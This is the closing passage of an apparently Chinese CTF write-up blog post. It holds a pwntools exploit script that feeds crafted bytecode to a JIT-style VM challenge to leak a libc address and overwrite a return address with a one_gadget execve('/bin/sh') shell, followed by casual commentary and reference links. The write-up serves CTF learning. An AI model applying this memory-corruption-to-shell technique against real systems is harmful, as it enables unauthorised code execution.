# r15:9
# rbp:a

program = b'61a0380100000000' #mov eax,[rbp-0x138]
program += b'1400000083400200' #sub eax,libc.sym['__libc_start_main']+243
program += b'04000000043b0e00' #add eax,ogg
program += b'7b8a280000000000' #mov [rbp+0x28],r14
program += b'630a280000000000' #mov [rbp+0x28],eax
program += b'af22000000000000' #xor rsi, rsi
program += b'af33000000000000' #xor rdx, rdx
memory = str(len(program)//2).encode()

gdb.attach(p,"b *$rebase(0x2947)\nc\n")
sla(b': ',program)
leak("libc_start_main",libc.sym['__libc_start_main']+243)
sla(b': ',memory)


# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
#
# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL
# [rdx] == NULL || rdx == NULL
#
# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL

p.interactive()

不知道是不是👴的错觉,JIT总给👴一种用shellcode完成利用方式的vm

真的逆吐惹🤮🤮🤮

而且👴有一个问题,怎么那么多👴看到题一眼就知道是ebpf???

后续:

img

👴<——🤡🤡🤡🤡🤡

0xff:写在最后的最后

逆不动了,真tm逆不动了,汗流浃背了已经🥵🥵🥵

Refer

N1CTF Junior 2023 pwn 顶级签到 赛题复现 | 张清越 (zqy.ink)

6.1 Pwn - 6.1.8 pwn DCTF2017 Flex - 《CTF 竞赛入门指南(CTF All In One)》 - 书栈网 · BookStack

Shanghai-DCTF-2017 线下攻防Pwn题-安全客 - 安全资讯平台 (anquanke.com)

【CTF.0X02】*CTF2021-Pwn WP - arttnba3’s blog

NepnepxCATCTF Pwn-Chao WriteUp - winmt - 博客园 (cnblogs.com)

2023西湖论剑初赛pwn-jit - roderick - record and learn! (roderickchan.cn)

jit-pwn - Hexo (lst-oss.github.io)


dig into C++ pwn
http://example.com/2023/10/20/C/
作者
korey0sh1
发布于
2023年10月20日
许可协议